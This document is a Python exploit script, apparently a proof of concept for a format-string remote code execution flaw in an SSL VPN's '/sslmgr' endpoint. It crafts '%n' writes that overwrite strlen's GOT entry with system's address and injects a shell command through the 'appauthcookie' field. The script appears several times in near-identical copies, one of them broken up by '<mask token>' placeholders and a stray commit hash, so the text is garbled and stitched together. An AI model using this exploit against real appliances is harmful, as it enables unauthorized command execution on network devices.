#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

504a3ce366a84c9facdfad6de1759159555ba348
<mask token>

<mask token>
fmt += '%' + str(system_plt >> 16 & 255) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt & 65535) - (system_plt >> 16 & 255)) + 'c'
fmt += '%24$hn'
for i in range(40, 60):
    fmt += '%' + str(i) + '$p'
<mask token>
data += p32(strlen_GOT)[:-1]
data += '&appauthcookie='
data += p32(strlen_GOT + 2)[:-1]
data += '&host-id='
data += p32(strlen_GOT + 4)[:-1]
data += '&user-email='
data += fmt
data += '&appauthcookie='
data += cmd
<mask token>

<mask token>
url = 'https://sslvpn/sslmgr'
cmd = 'echo pwned > /var/appweb/sslvpndocs/hacked.txt'
strlen_GOT = 6715272
system_plt = 4478310
fmt = '%70$n'
fmt += '%' + str(system_plt >> 16 & 255) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt & 65535) - (system_plt >> 16 & 255)) + 'c'
fmt += '%24$hn'
for i in range(40, 60):
    fmt += '%' + str(i) + '$p'
data = 'scep-profile-name='
data += p32(strlen_GOT)[:-1]
data += '&appauthcookie='
data += p32(strlen_GOT + 2)[:-1]
data += '&host-id='
data += p32(strlen_GOT + 4)[:-1]
data += '&user-email='
data += fmt
data += '&appauthcookie='
data += cmd
r = requests.post(url, data=data)

import requests
from pwn import *
url = 'https://sslvpn/sslmgr'
cmd = 'echo pwned > /var/appweb/sslvpndocs/hacked.txt'
strlen_GOT = 6715272
system_plt = 4478310
fmt = '%70$n'
fmt += '%' + str(system_plt >> 16 & 255) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt & 65535) - (system_plt >> 16 & 255)) + 'c'
fmt += '%24$hn'
for i in range(40, 60):
    fmt += '%' + str(i) + '$p'
data = 'scep-profile-name='
data += p32(strlen_GOT)[:-1]
data += '&appauthcookie='
data += p32(strlen_GOT + 2)[:-1]
data += '&host-id='
data += p32(strlen_GOT + 4)[:-1]
data += '&user-email='
data += fmt
data += '&appauthcookie='
data += cmd
r = requests.post(url, data=data)

#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)
